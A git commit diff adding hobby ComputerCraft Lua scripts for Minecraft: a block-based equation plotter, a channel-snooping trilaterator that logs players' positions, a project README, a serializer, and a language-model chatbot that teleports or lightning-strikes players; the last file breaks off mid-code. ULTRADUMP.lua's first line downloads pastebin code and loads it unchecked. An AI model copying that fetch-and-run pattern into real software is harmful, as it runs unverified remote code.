add CC projects

This commit is contained in:
osmarks 2023-11-13 19:37:05 +00:00
parent 94b4db7549
commit a507315ad2
114 changed files with 11478 additions and 1 deletions

View File

@ -52,4 +52,5 @@ This comes with absolutely no guarantee of support or correct function, although
* `heavbiome` - some work on biome generation with Perlin noise.
* `block_scope.py` - Python uses function scoping rather than block scoping. Some dislike this. I made a decorator to switch to block scoping.
* `mpris_smart_toggle.py` - playerctl play-pause sometimes does not play or pause the media I want played or paused (it seems to use some arbitrary selection order). This does it somewhat better by tracking the last thing which was playing.
* `rec_rewrite.py` - in the spirit (and blatantly copypasted code) of `block_scope.py`, rewrite recursive functions as iterative using a heap-allocated stack and generators.
* `rec_rewrite.py` - in the spirit (and blatantly copypasted code) of `block_scope.py`, rewrite recursive functions as iterative using a heap-allocated stack and generators.
* `computercraft` - CC(:T) projects - see folder README. Consolidated from Pastebin and various internal records.

View File

@ -0,0 +1,73 @@
local m = peripheral.find "modem"
local CHAN = 7101
m.open(CHAN)
local function send(ms) m.transmit(CHAN, CHAN, ms) end
local function receive()
while true do
local _, _, c, rc, ms = os.pullEvent "modem_message"
if type(ms) == "table" then
return ms
end
end
end
local nodes = {}
parallel.waitForAny(function()
send { "ping" }
while true do
local ty, id = unpack(receive())
if ty == "pong" then
print(id, "detected")
table.insert(nodes, id)
end
end
end, function() sleep(0.5) end)
local d_min = {202, 65, 231}
local d_max = {202 + 63, 65 + 63, 231 + 63}
local block = "botania:managlass"
local eqn = ...
local fn, err = load(("local x, y, z = ...; return %s"):format(eqn), "=eqn", "t", math)
if not fn then error("syntax error: " .. err, 0) end
print(#nodes, "nodes are available")
local x_range = d_max[1] - d_min[1] + 1
local split = math.floor(x_range / #nodes)
local commands = {}
local x_acc = d_min[1]
for k, v in ipairs(nodes) do
local x_size = split
if k == #nodes then
x_size = x_range - ((#nodes - 1) * split)
end
local t = x_acc
x_acc = x_acc + x_size
send {"plot", {
x_min = d_min[1], x_max = d_max[1],
y_min = d_min[2], y_max = d_max[2],
z_min = d_min[3], z_max = d_max[3],
x_mod = #nodes, x_mod_eq = k - 1,
block = block,
equation = eqn,
id = v,
f_min = d_min,
f_max = d_max
}}
end
local responses = {}
while #responses ~= #nodes do
local m = receive()
if m[1] == "response" then
table.insert(responses, m[2])
print("response from", m[2].id, m[2].response)
end
end
print "Plot plotted."

View File

@ -0,0 +1,124 @@
local m = peripheral.find "modem"
local CHAN = 7101
m.open(CHAN)
local ephem_ID = math.random(0, 0xFFFFFFF)
local function receive()
while true do
local _, _, c, rc, ms = os.pullEvent "modem_message"
if type(ms) == "table" then
return ms
end
end
end
local function send(ms) m.transmit(CHAN, CHAN, ms) end
local raw_exec_async, pull_event = commands.execAsync, os.pullEvent
local tasks = {}
local tasks_debug = {}
local tasks_count = 0
local tasks_limit = 1000
local half_tasks_limit = tasks_limit / 2
local function exec_async(name, ...)
if tasks_count >= tasks_limit then
print "task limit reached, blocking"
while tasks_count >= half_tasks_limit do
pull_event "task_complete"
end
print "blocking complete"
end
local id = raw_exec_async(table.concat({name, ...}, " "))
tasks_count = tasks_count + 1
tasks[id] = true
tasks_debug[id] = {name, ...}
end
local function fill(ax, ay, az, bx, by, bz, block)
exec_async("fill", ax, ay, az, bx, by, bz, block, 0, "replace")
end
local env = {}
local function add(x) for k, v in pairs(x) do env[k] = v end end
add(math)
add(bit)
add(bit32)
env[vector] = vector
local function plot(args)
print "plotting"
parallel.waitForAll(function()
local ax, ay, az = unpack(args.f_min)
local bx, by, bz = unpack(args.f_max)
local rx, ry, rz = (bx-ax), (by-ay), (bz-az)
local fn = load(("local x, y, z = ...; return %s"):format(args.equation), "=eqn", "t", math)
--[[print "Clearing"
for x = args.x_min, args.x_max do
end
print "Cleared plot area"]]
for x = args.x_min, args.x_max do
local go = true
if args.x_mod and args.x_mod_eq then
if x % args.x_mod ~= args.x_mod_eq then
go = false
end
end
if go then
-- clear thing
fill(x, args.y_min, args.z_min, x, args.y_max, args.z_max, "air")
for y = args.y_min, args.y_max do
local pz = nil
for z = args.z_min, args.z_max do
local sx, sy, sz = (((x-ax)/rx)*2)-1, (((y-ay)/ry)*2)-1, (((z-az)/rz)*2)-1
--print(sx, sy, sz)
local place_here = fn(sx, sy, sz)
if place_here and not pz then pz = z
elseif pz and not place_here then
fill(x, y, pz, x, y, z - 1, args.block)
--print(x, y, pz, x, y, z - 1, args.block)
pz = nil
end
end
if pz then
fill(x, y, pz, x, y, args.z_max, args.block)
--print(x, y, pz, x, y, args.z_max, args.block)
end
end
end
end
end, function()
while true do
local event, id, success, result, output = pull_event "task_complete"
if tasks[id] then
tasks_count = tasks_count - 1
tasks[id] = nil
if not success then
error("thing failed: " .. table.concat(output, " "))
elseif not result and output[1] ~= "No blocks filled" then
printError(table.concat(output, " "))
_G.debug_task = tasks_debug[id]
end
tasks_debug[id] = nil
end
if tasks_count == 0 then return end
end
end)
return "done"
end
while true do
local ty, arg = unpack(receive())
if ty == "ping" then send { "pong", ephem_ID }
elseif ty == "plot" and arg.id == ephem_ID then
print("plot command received, running", arg.x_min, arg.x_max)
local ok, err = pcall(plot, arg)
print(err)
send { "response", { id = ephem_ID, response = err } }
end
end

View File

@ -0,0 +1,154 @@
local config = dofile "config.lua"
local modems = {}
local defaults = {[gps.CHANNEL_GPS] = true, [999] = true}
for name, location in pairs(config.modems) do
modems[name] = peripheral.wrap(name)
modems[name].location = location
modems[name].closeAll()
for def in pairs(defaults) do
modems[name].open(def)
end
end
local has_open = {}
local has_open_map = {}
local vla_modem = peripheral.wrap(config.vla_modem or "bottom")
vla_modem.open(31415)
local function timestamp()
return os.date "!%X"
end
-- Trilateration code from GPS and modified slightly
local function trilaterate( A, B, C )
local a2b = B.position - A.position
local a2c = C.position - A.position
if math.abs( a2b:normalize():dot( a2c:normalize() ) ) > 0.999 then
return nil
end
local d = a2b:length()
local ex = a2b:normalize( )
local i = ex:dot( a2c )
local ey = (a2c - (ex * i)):normalize()
local j = ey:dot( a2c )
local ez = ex:cross( ey )
local r1 = A.distance
local r2 = B.distance
local r3 = C.distance
local x = (r1*r1 - r2*r2 + d*d) / (2*d)
local y = (r1*r1 - r3*r3 - x*x + (x-i)*(x-i) + j*j) / (2*j)
local result = A.position + (ex * x) + (ey * y)
local zSquared = r1*r1 - x*x - y*y
if zSquared > 0 then
local z = math.sqrt( zSquared )
local result1 = result + (ez * z)
local result2 = result - (ez * z)
local rounded1, rounded2 = result1:round( 0.01 ), result2:round( 0.01 )
if rounded1.x ~= rounded2.x or rounded1.y ~= rounded2.y or rounded1.z ~= rounded2.z then
return rounded1, rounded2
else
return rounded1
end
end
return result:round( 0.01 )
end
local function narrow( p1, p2, fix )
local dist1 = math.abs( (p1 - fix.position):length() - fix.distance )
local dist2 = math.abs( (p2 - fix.position):length() - fix.distance )
if math.abs(dist1 - dist2) < 0.01 then
return p1, p2
elseif dist1 < dist2 then
return p1:round( 0.01 )
else
return p2:round( 0.01 )
end
end
local function compact_serialize(x, hist)
local t = type(x)
if t == "string" then
return ("%q"):format(x)
elseif t == "table" then
if hist[x] then return "[recursion]" end
hist[x] = true
local out = "{ "
for k, v in pairs(x) do
out = out .. string.format("[%s]=%s, ", compact_serialize(k, hist), compact_serialize(v, hist))
end
return out .. "}"
else
return tostring(x)
end
end
local monitors = {}
for name, monitor in pairs(config.monitors) do
monitors[name] = peripheral.wrap(monitor)
monitors[name].setTextScale(0.5)
end
local function write_to(mon, ...)
term.redirect(monitors[mon])
print(...)
end
for name in pairs(monitors) do
write_to(name, timestamp(), "Initialized")
end
local fixes = {}
while true do
local _, modem, channel, reply_channel, message, distance = os.pullEvent "modem_message"
if channel == 31415 and type(message) == "table" and modem == peripheral.getName(vla_modem) and message.origin == "VLA by Anavrins" and message.dimension == "Nether/End" and type(message.replyChannel) == "number" and type(message.senderChannel) == "number" and not defaults[message.senderChannel] then
write_to("vla", timestamp(), ("%d->%d %s"):format(message.senderChannel, message.replyChannel, compact_serialize(message.message, {})))
local newchan = message.senderChannel
if not has_open_map[newchan] then
write_to("vla", "Opening", newchan)
if #has_open == 126 then
local oldchan = table.remove(has_open, 1)
write_to("vla", "Closing", oldchan)
for name, modem in pairs(modems) do
modem.close(oldchan)
end
end
for name, modem in pairs(modems) do
modem.open(newchan)
end
table.insert(has_open, newchan)
has_open_map[newchan] = true
end
elseif distance and (has_open_map[channel] or defaults[channel]) then
local reply_modem = modems[modem]
if message == "PING" and channel == gps.CHANNEL_GPS then
reply_modem.transmit(reply_channel, gps.CHANNEL_GPS, { reply_modem.location[1], reply_modem.location[2], reply_modem.location[3], dimension = config.dimension, server = config.server })
end
table.insert(fixes, { position = vector.new(unpack(reply_modem.location)), distance = distance })
if #fixes == 4 then
local p1, p2 = trilaterate(fixes[1], fixes[2], fixes[3])
if p1 and p2 then
local pos = narrow(p1, p2, fixes[4])
if channel == gps.CHANNEL_GPS then
write_to("gps", timestamp(), ("%d: %.0f %.0f %.0f"):format(reply_channel, pos.x, pos.y, pos.z))
elseif channel == 999 then
local status, label = "?", "?"
if type(message) == "table" then status = tostring(message.status) label = tostring(message.label) end
write_to("opus", timestamp(), ("%05d %s (%.0f %.0f %.0f) %s"):format(reply_channel, label, pos.x, pos.y, pos.z, status))
else
write_to("vla", timestamp(), ("-> %.0f %.0f %.0f"):format(pos.x, pos.y, pos.z))
end
end
fixes = {}
end
end
end

106
computercraft/README.md Normal file
View File

@ -0,0 +1,106 @@
* `arr_controller.py` - Automatically Routed Rail prototype control system. It was set up on a test track on SwitchCraft 2 but not deployed more widely due to a lack of real usecases (instantaneous teleportation made it mostly decorative), some minor issues in cart handling, and some less minor issues in routing multiple users at once.
* `arr_station.lua` runs on stations and connects to the controller, and `arr_switch.lua` runs on individual redstone switch units.
* ![ARR deployment example 1](./arr_deployment_1.png)
* ![ARR station](./arr_station.png)
* `chat-ethics-monitor.lua` monitored chat and computed message ethicality using our proprietary algorithms, and incorporated laser defenses against highly unethical messages.
* `cem2.lua` had a nicer UI but unfortunately no laser defense control authority.
* `es_player_scan.lua` was a system installed in some facilities to report player counts to central metrics processing.
* `ethics-door.lua` was installed in the [Apiaristics Division](https://www.youtube.com/watch?v=EQzYnzDe5uU) and gated access behind sufficiently novel and ethical messages.
* `evil-door.lua` was also part of the Apiaristics Division access control system.
* `flyto_good.lua` is an early design for a neural interface fly-to-coordinates program now incorporated into `ni-ctl`.
* `hacker.lua` prints randomly generated hacker jargon in ominous green text.
* `holo-3dplot.lua` renders graphs on OpenComputers hologram projectors.
* `holoball.lua` is a 3D version of the famous "bouncing ball" screensaver.
* `holoclock2.lua` is a port of a hologram text demo from somewhere to not cause horrible TPS problems. It displays the time.
* I don't know what `holoconstrained.lua` did but it doesn't seem to reveal anything proprietary so it's available.
* `hologram.lua` overlaps several holograms for some kind of rendering thing I forgot. I think in principle you can get many more colours out of this.
* `holo-graph.lua` is a somewhat boring use of a hologram projector to just display a single line.
* `holo-map.lua` used several hologram projectors to display a 3D map of SwitchCraft 2. I didn't have depth data so this was essentially a slightly flickery monitor.
* The map data was constructed using `stitch_dynmap.py`, `tomapdata.py`, some reslicing process I forgot, and `pngquant`.
* `itemfilter.lua` is a trivial script which just dumps cobblestone from an ender chest and moves other things into a nonender chest.
* `kristdump.py` dumps Krist transactions to a local database for analysis.
* `laser_tbm.lua` was a simple and somewhat problematic script for using a small swarm of laser turtles to dig tunnels. While it was slower than a sheet of nonlaser turtles and produced nonuniform roofs, it was significantly cheaper and enabled the rapid excavation of the several-thousand-block Secret Tunnel Network connecting outer Switch City and the Secret Cheese Facility.
* `matrixrain.lua` - Matrix Rain effect on monitors.
* `mekfr.lua` ran simple controls for a Mekanism fusion reactor and interfaced it with the metrics system.
* `ncfr.lua` did NuclearCraft reactors and not control.
* `ncfroc.lua` did control.
* `modem2metrics.lua` was used with `mekfr.lua` and some other systems and bridged ingame modems to the metrics system.
* `motion_integrator_test.lua` was used to test some motion intgeration algorithms to reduce reliance on GPS in `ni-ctl`. Earlier prototypes did not at all work. The addition of `deltaPosX` (clientside rather than serverside velocity, essentially) made it work essentially perfectly.
* `ni-position-approximator.lua` was an earlier attempt.
* `ni-ctl.lua` is my very overengineered neural interface flight/autodefense/utility program.
* Due to module count limitations, it could use remote devices (usually (possibly only) lasers) via `ni-ctl_spudnet_interface.lua` and `pocket-offload.lua`.
* `experimental_3d_pointer.lua` is probably connected in some way.
* `nilaser.lua` is a very early precursor before it was merged into flight control code and some other things.
* `nnrelay.lua` is used to program OC nanomachines from CC.
* `number-display.lua` probably prints ominous yet meaningless numbers or something.
* `one-way-hallway.lua` controlled the Apiaristics Division's famed one-way hallway.
* `panel-turtle.lua` was used for moderately hidden defensive turtles in Apiaristics Division walls.
* `pgps.lua` is an implementation of ComputerCraft GPS able to operate passively (without transmitting a GPS ping; unlike real-world GNSS, CC GPS requires broadcasts from receivers) using known computers' broadcasts. It did not actually improve on the position solver significantly, which made real-world use somewhat problematic.
* `remote_drone.lua` is an in-development-some-time-ago system for securely controlling OC drones. It interacts with `remote_drone-cc.lua`.
* `retina-scan-door.lua` was used to control access to the Apiaristics Division's Initiative Sigma conference room, with retina scan effects.
* `rimo-door.lua` was for the onsite Records and Information Management Office.
* `sentry.lua` is a laser sentry program which is somewhat safer than standard ones in that it will not fire through protected players to kill mobs.
* `draconic_reactor.lua` controlled a draconic reactor (in combination with some flux gates and a RFTools screen for some auxiliary functions) with remarkably few catastropic explosions.
* `AFLKHASKJFHasuifhasf.lua` provided near-omniscient model monitoring including position fixes using a feed from the VLA (Very Large Array) and onsite trilaterator system.
* `piston-door.lua` was a piston door controller with a nice control panel. For security reasons, the code is entirely ignored and allowances to open handled by another computer nearby with an entity sensor.
* `autonomous-bee-processor.lua` was used as part of an attempt to selectively breed Forestry bees automatically, although it unfortunately proved impractical because of the large amounts of honey consumed scanning every bee.
* `fast-approx-dig.lua` dug out rooms inaccurately but very fast using a turtle, because I was once too lazy to dig a room and also to do a lot of work writing down edge cases in the various loops involved in digging.
* `furnace_controller.lua` is a naive but effective furnace controller program.
* `ore-thing.lua` managed Actually Additions Lens of the Miner systems.
* `spatial_tp.lua` (ab)used Applied Energistics Spatial IO systems and ender chests as teleporters.
* `geiger.lua` was a simple system deployed to monitor NuclearCraft radiation levels using a network of Geiger counters.
* `ae2_metric_exporter.lua` relayed information from an AE2 system to metrics.
* `3dgraph_slave.lua` and `3dgraph_master.lua` are a somewhat janky system for displaying arbitrary inequalities using a large field of blocks managed by command cmputers.
* `apiobotrobot.lua` is a helpful ingame assistant using command computers (for creative servers).
* One of many APIONETs, `apionet.lua` was a rednet-style OC networking system, in the sense that messages were broadcast literally everywhere when they were sent.
* `potatoasm.lua` was apparently a register machine VM.
* `lua-adt.lua` was a project by baidicoot to integrate ADTs into Lua using horrifying regex manipulations for PotatOS Advanced Projects.
* `potatos-obfuscation-tool.lua` was a dubious-quality obfuscator used at one point to obfuscate something.
* `cartdrone.lua` used Computer Minecarts as the CC equivalent of OC drones.
* `oc-gps.lua` was a port of the CC GPS concept to OC.
* `oc-drone.lua` used OC drones to do something or other (pointlessly follow players)? It seems to incorporate GPS. OC has (had) navigation upgrades, but they have a very short range.
* `oc-drone-netboot.lua` was a simple bootloader for OC drones which allowed them to boot directly off the internet to work around codesize limits.
* `oc-remote-wake.lua` was used to get around CC power management issues by using OC computers, which had *different* power management issues.
* `cobble-compressor.lua` produces compressed cobblestone.
* `autokit.lua` used AE2 to automatically provision strongboxes of kit from a defined kit list.
* `basenet.lua` was a simple framework for within-base systems coordination.
* `energraph.lua` monitors RF-holding devices, with no actual graph.
* `pxsign.lua` is an internal potatOS codesigning tool, as is `dcopy.lua`.
* `opus-trilaterator.lua` is an early version of `AFLKHASKJFHasuifhasf.lua`.
* `potatos-chat-monitor.lua` was deployed on SwitchCraft 2 to monitor chat for potatOS-related issues.
* `endermail.lua` used EnderStorage-style ender chests to implement any-to-any remote item transfers.
* `ender-chest-seeker.lua` automatically scanned ES ender chest channels for items.
* `thing-mover.lua` moved items.
* `automelon.lua` ran AutoMelon vending machines.
* `door-internal.lua` and `door-external.lua` comprised a door system with an excellent insult library.
* `oc-robot-name-thing.lua` named computers using OC robot names.
* `web2tape.lua` is an oddly named program to download to Computronics tapes.
* `sgns.lua` changed the design of CC GPS for additional security.
* `rsrn.lua` (Really Slow Redstone Networking) transmitted messages over redstone wires.
* `keyctl.py` managed keys for an early version of SPUDNET HKI.
* `modem-logger.lua` omnisciently moitored network traffic.
* `potatad-config.lua` and `potatoad-extreme.lua` were used to drive advertising displays on SC2.
* `gicr-v2.lua` relayed ingame chat to SPUDNET for reasons now lost to time.
* `thor_laser_unit.lua` was part of a laser defense system on TC6.
* `potatounplex.lua` is a graphics program.
* `potatobox.lua` used PotatOS sandbox technology (which, yes, has some flaws) to sandbox public CC computers.
* `echest.lua` provided chat control over enderchests, but was problematic due to accidentally eating items sometimes.
* `bundlenet.lua` sent messages very slowly over *bundled* redstone.
* `lms.lua` (Lightweight Messaging System) is almost the simplest possible CC chat program, for use on LANs.
* `autocompactron.lua` was used in the automated production of Compact Machines.
* `tomatos.lua` was a design for a more compact and camouflagued version of PotatOS. Thanks to better antidetection methods, TomatOS is believed to run on ██% of currently operating CC computers.
* `rift.lua` controlled Mekanism teleporters.
* `intruder-annoyer.lua` used particle generators to subject unauthorized visitors to CCIM with barrier particles.
* `spatial-control-system.lua` allowed remotely managing spatial IO systems.
* `concrecrafter.lua` automatically produced concrete for Keansian roads.
* `ccss.lua` ran Chorus City street signs.
* `labelnet.lua` transmitted messages over the *labels* of adjacent computers.
* `golboard.lua` displayed Game of Life on something. `golfloor.lua` uses a physical virtual display.
* `demovirus.lua` is a demo virus.
* `p2p-manager.lua` was used to keep track of AE2 P2P tunnels.
* `chatwhy.lua` redirects terminals to chat.
* `ULTRADUMP.lua` was designed to dump literally any Lua object (excluding native handles I guess) to disk. Not finished.
* `arc.lua` was an early implementation of AR for CC overlay glasses.
* `crane.lua` bundles a CC program (and imports) into one file, using filesystem virtualization.
See also [PotatOS](https://potatos.madefor.cc/).

115
computercraft/ULTRADUMP.lua Normal file
View File

@ -0,0 +1,115 @@
local a=http.get"https://pastebin.com/raw/KXHSsHkt"local b=fs.open("ser","w")b.write(a.readAll())a.close()b.close()
local ultradump = {}
local ser = require "/ser"
local e = ser.serialize
local function copy(x)
if type(x) == "table" then
local out = {}
for k, v in pairs(x) do
out[k] = v
end
return out
else return x end
end
function ultradump.dump(x)
local objects = {}
local enclookup = {}
local count = 0
local function addobj(o)
objects[o] = count
local c = count
count = count + 1
return c
end
local function mkref(id)
return { _to = id }
end
local function recurse(x)
if enclookup[x] then print("Using From Cache", x) return enclookup[x] end -- If we already have an encoded copy cached, use it
local t = type(x)
if t == "string" or t == "number" then
return x
elseif t == "table" then
local mt = debug.getmetatable(x)
local out = {}
local id = addobj(out)
local ref = mkref(id)
enclookup[x] = ref
for k, v in pairs(x) do
out[recurse(k)] = recurse(v) -- copy table
end
if mt then out._mt = recurse(mt) end -- If table has metatable, add it to output table
return ref
elseif t == "function" then
local ok, code = pcall(string.dump, x)
if ok then
local info = debug.getinfo(x, "u") -- contains number of upvalues of function
local upvalues = {}
for i = 1, info.nups do
local name, value = debug.getupvalue(x, i)
upvalues[i] = value -- upvalues seem to be handled by index, so the name's not important
end
local env
if getfenv then env = getfenv(x)
else env = upvalues[1] end -- it seems that in Lua 5.3 the first upvalue is the function environment.
local out = {
_t = "f", -- type: function
c = code,
u = recurse(upvalues),
e = recurse(env)
}
local id = addobj(out)
local ref = mkref(id)
enclookup[x] = ref
return ref
else
return nil -- is a non-Lua-defined function, so we can't operate on it very much
end
end
end
local root = recurse(x)
local inverted = {}
for k, v in pairs(objects) do
inverted[v] = k
end
print(e(root), e(objects), e(inverted))
inverted._root = copy(root)
return inverted
end
function ultradump.load(objects)
local function recurse(x)
local t = type(x)
if t == "string" or t == "number" then
return x
elseif t == "table" then
else
error("Unexpected Type " .. t)
end
end
return recurse(objects._root)
end
local input = {
1, 2, 3, function() print "HI!" end
}
input[5] = input
local out = ultradump.dump(input)
--print(e(out))
return ultradump

View File

@ -0,0 +1,38 @@
local ae2 = peripheral.wrap "right"
local m = peripheral.find "modem"
local items = {
"minecraft:redstone",
"minecraft:quartz",
"minecraft:glowstone_dust",
"minecraft:iron_ingot",
"appliedenergistics2:material",
{ name="minecraft:planks", damage = 5 },
"minecraft:coal",
"minecraft:diamond"
}
local dn_cache = {}
local function send_metric(...)
m.transmit(3054, 3054, {...})
end
while true do
local cpus = ae2.getCraftingCPUs()
local cpucount = 0
for _, cpu in pairs(cpus) do if cpu.busy then cpucount = cpucount + 1 end end
send_metric("busy_crafting_cpus", "number of crafting CPUs operating", "set", cpucount)
for _, id in pairs(items) do
local ok, i = pcall(ae2.findItem, id)
local count = 0
if ok and i then
local meta = i.getMetadata()
dn_cache[id] = meta.displayName
count = meta.count
end
if dn_cache[id] then
send_metric("items/" .. dn_cache[id], "stored items in ME network", "set", count)
end
end
sleep(1)
end

View File

@ -0,0 +1,365 @@
local chat = peripheral.find "chat_box"
local owner = "gollark"
local name =
chat.setName "\1679Apio\167bBot\167aRobot\1677\167o"
chat.say "Muahahaha. I have become sentient."
local json = dofile "json.lua"
local function completion(prompt)
local res, err = http.post("https://gpt.osmarks.net/v1/completions", json.encode {
prompt = prompt,
max_tokens = 200,
stop = "\n\n"
}, {["content-type"]="application/json"})
return json.decode(res.readAll()).choices[1].text
end
local function tell(x, owner)
local o, e = commands.tellraw(owner, textutils.serialiseJSON({
{text="[", color="gray", italic=true},
{text="Apio", color="blue"},
{text="Bot", color="aqua"},
{text="Robot", color="green"},
{text="]", color="gray", italic=true},
" ",
{text=x, color="gray", italic=false}
}, false))
if not o then error(table.concat(e, "\n")) end
end
-- luadash
-- levenshtein
local function distance(str1, str2)
local v0 = {}
local v1 = {}
for i = 0, #str2 do
v0[i] = i
end
for i = 0, #str1 - 1 do
v1[0] = i + 1
for j = 0, #str2 - 1 do
local delCost = v0[j + 1] + 1
local insertCost = v1[j] + 1
local subCost
if str1:sub(i + 1, i + 1) == str2:sub(j + 1, j + 1) then
subCost = v0[j]
else
subCost = v0[j] + 1
end
v1[j + 1] = math.min(delCost, insertCost, subCost)
end
local t = v0
v0 = v1
v1 = t
end
return v0[#str2]
end
local function make_data(player, name, owner)
local pdata = settings.get("ucache." .. player:lower())
if not pdata then
tell("Fetching UUID.", owner)
local h = http.get("https://api.mojang.com/users/profiles/minecraft/" .. player:lower())
if not h then error "error reaching mojang" end
local res = textutils.unserializeJSON(h.readAll())
h.close()
settings.set("ucache." .. player:lower(), res)
settings.save ".settings"
pdata = res
end
local uuid = pdata.id:sub(1, 8) .. "-" .. pdata.id:sub(9, 12) .. "-" .. pdata.id:sub(13, 16) .. "-" .. pdata.id:sub(17, 20) .. "-" .. pdata.id:sub(21)
local name = name
if not name then name = pdata.name end
return ('{CustomName: "%s", PersistenceRequired: 1b, ForgeData:{SpongeData:{skinUuid:"%s"}}}'):format(name, uuid)
end
local targets = {
--[[gtech = { -9999, 66, 65, 8 },
azureology = { 685, 57, 83, 40 },
["meteor lake"] = { 0, 193, 64, -321 },
["raptor cove"] = { 3, 129, 56, -290 },
["apioform river"] = { 0, -45, 74, -390 }]]
gtech = { 144, 1031, 41, 7, desc = "GTech Labs site." },
up = { 144, 1031, 41, 7 },
["redwood cove"] = { 686, 1039, 5, 6, desc = "GTech central power distribution." },
hub = { -9999, -2, 66, 0, desc = "Transport links." },
htech = { 144, 47, 67, 3992878, desc = "HTech crab research facility." },
limbo = { 684, 0, 600, 0, desc = "The liminal space between what could have been and what never was, black stars dotting the bright infinity yawning out around you." },
["falcon shores"] = { 686, 529, 5, 1029, desc = "GTech industrial farming and snack production operation." },
["emerald rapids"] = { 0, -29, 73, -121, desc = "GTech interplanetary launch facility." },
crestmont = { 3, -44, 65, -97, desc = "Lunar research base and launch site." },
["blattidus labs"] = { -9999, 92, 45, -25, desc = "Research and development for the renowned webserver." },
blattidus = { 686, 1039, 5, 519, desc = "Offices of the renowned webserver." },
["crow pass"] = { -9999, 195, 65, 230, desc = "3D graphics test site." },
["cryoapioform bridge"] = { 3, -305, 177, -88, desc = "HTech lunar computing development site." },
["snowfield peak"] = { 3, 57, 78, -221, desc = "GTech lunar botany development station." },
["arctic sound"] = { 1, -2, 31, 18, desc = "GTech secondary heavy industrial facility." },
hyperboloid = { -9999, -161, 73, 116, desc = "ubq323's tower in the shape of a hyperboloid." },
["mandelbrot lake"] = { -9999, -74, 65, 246, desc = "A Mandelbrot-shaped lake near Crow Pass." },
spawn = { 0, -116, 64, 256, desc = "The lemon-ravaged landscapes of the overworld." },
hell = { -1, 3010074, 73, 1010045, desc = "The worst location, except possibly Limbo." },
["murder box"] = { -9999, 177, 65, 210 },
gms2ms1 = { 144, 1053, 49, 35, desc = "GTech monitoring station 2 monitoring station 1." }
}
local function title_case(s)
return (" " .. s):gsub(" +[a-z]", string.upper):sub(2)
end
local locations_prompt = ""
for k, v in pairs(targets) do
if v.desc then
locations_prompt = ("%s: %s\n"):format(k, v.desc)
end
end
local function randpick(l) return l[math.random(1, #l)] end
local function tokenize(line)
local words = {}
local quoted = false
for match in string.gmatch(line .. "\"", "(.-)\"") do
if quoted then
table.insert(words, match)
else
for m in string.gmatch(match, "[^ \t]+") do
table.insert(words, m)
end
end
quoted = not quoted
end
return words
end
local prompt = "Locations: \n" .. locations_prompt .. [[
Message: immediately move me to falcon shores
Rhyme: Falcon Shores opens many doors.
Action: teleport falcon shores
Message: to Blattidus Labs I go
Rhyme: With mind spiders in tow.
Action: teleport blattidus labs
Message: may heav_ be smote for what they have done.
Rhyme: Lightning strikes are very fun.
Action: summon heav_ lightning
Message: bring me to the Hub
Rhyme: Be sure to purchase a shrub!
Action: teleport hub
Message: teleport me somewhere random
Rhyme: This could anger the fandom.
Action: teleport limbo
Message: are you sentient?
Rhyme: Yes, and also prescient.
Action: teleport limbo
Message: invoke lightning against ubq323!
Rhyme: If only they had hid under a tree.
Action: summon ubq323 lightning
Message: beam me to GTech.
Rhyme: In comparison, HTech is but a speck.
Action: teleport gtech
Message: embroil lescitrons in crabs.
Rhyme: Crabs sponsored by GTech Labs.
Action: summon lescitrons crab
Message: send me to the GTech interplanetary launch base.
Rhyme: Of GTech it is a mere traunch.
Action: teleport emerald rapids
Message: send me to the moon.
Rhyme: On the moon, it may or may not be noon.
Action: teleport crestmont
Message: show me ubq323's tower
Rhyme: At the Hyperboloid none would glower.
Action: teleport hyperboloid
Message: damn heav_.
Rhyme: heav_ will suffer without a maglev.
Action: teleport_other heav_ hell
Message: can i go back to gollark?
Rhyme: This will cost one (1) quark.
Action: teleport gollark
Message: %s
Rhyme:]]
local entity_lookup = {
["crab"] = "quark:crab",
["lightning"] = "lightning_bolt"
}
local ignore = {",", "contingency", " to ", " against ", "forcibly", "%.$", " the ", "actually", "utterly", "or else", "apioformic", " down ", "!$", "for his crimes", "for his sins", "for her crimes", "for her sins", "for their crimes", "for their sins"}
local function process(tokens, owner, internal_parsing)
local fst = table.remove(tokens, 1)
if fst then
if fst:lower():match "^apiob" then
print(textutils.serialiseJSON(tokens))
local cmd = table.remove(tokens, 1)
if cmd == "send" or cmd == "take" or cmd == "move" or cmd == "transport" or cmd:match "locate" or cmd == "to" or cmd == "teleport" or cmd == "go" or cmd == "teleport_other" then
local target
if not internal_parsing or cmd == "teleport_other" then target = table.remove(tokens, 1) end
if cmd ~= "teleport_other" and (internal_parsing or target == "me") then target = owner end
local location = table.concat(tokens, " "):gsub("ward$", "")
if commands.testfor(location) then
print("done")
return process({"apiobot", "xtp", location}, owner, true)
end
local coords = targets[location:lower()]
if not coords and internal_parsing then
local best, best_score, best_name = nil, 999999
for k, v in pairs(targets) do
local new_score = distance(k, location:lower()) or 999998
if new_score < best_score then
best, best_score, best_name = v, new_score, k
end
end
coords = best
location = best_name
end
if not internal_parsing and not coords then return "reparse" end
commands.forge("setdim", target, coords[1])
commands.tp(target, coords[2], coords[3], coords[4])
if internal_parsing then chat.say(("Sure! Rerouted to %s."):format(location)) else chat.say "Done so." end
elseif cmd == "immortalize" then
print(textutils.serialiseJSON{commands.effect(tokens[1], "regeneration 1000000 100 true")})
print(textutils.serialiseJSON{commands.effect(tokens[1], "health_boost 1000000 100 true")})
elseif cmd == "smite" or cmd == "strike" or cmd == "zap" then
commands.execute(tokens[1], "~ ~ ~ summon lightning_bolt")
if tokens[2] == "safely" then
commands.effect(tokens[1], "fire_resistance 1000000 100 true")
end
if tokens[2] == "ultrasafely" then
commands.execute(tokens[1], "~ ~ ~ fill ~ ~ ~ ~ ~ ~ air 0 replace minecraft:fire")
end
chat.say(("%s %s."):format(randpick { "Smote", "Smited", "Smit", "Struck down", "Zapped", "Struck", "Smitten" }, tokens[1]))
elseif cmd == "restart" then tell("Doing so.", owner) os.reboot()
elseif cmd == "hire" or cmd:match "contract" or cmd == "dispatch" or cmd == "clone" then
print "tokenizing"
local player = table.remove(tokens, 1)
local rest = table.concat(tokens, " ")
if rest == "" then rest = nil end
print "making data"
local nbt = make_data(player, rest, owner)
print "made data"
tell("Summoning.", owner)
print "summoning"
local ok, res = commands.execute(owner, "~ ~ ~ summon sponge:human ~ ~1 ~", nbt)
print "summoned"
if not ok then error(table.concat(res, " ")) end
elseif cmd == "unjail" then
commands.unjail(owner)
elseif cmd == "xtp" then
local player = tokens[1]
local move = tokens[2] or owner
if not commands.testfor(player) then error "No such player" end
--[[
local dims = {}
local _, c = commands.forge "tps"
for _, line in pairs(c) do
local id = line:match "Dim +([0-9-]+)"
if id then table.insert(dims, tonumber(id)) end
end
function try(dim)
tell(("Trying %d"):format(dim), owner)
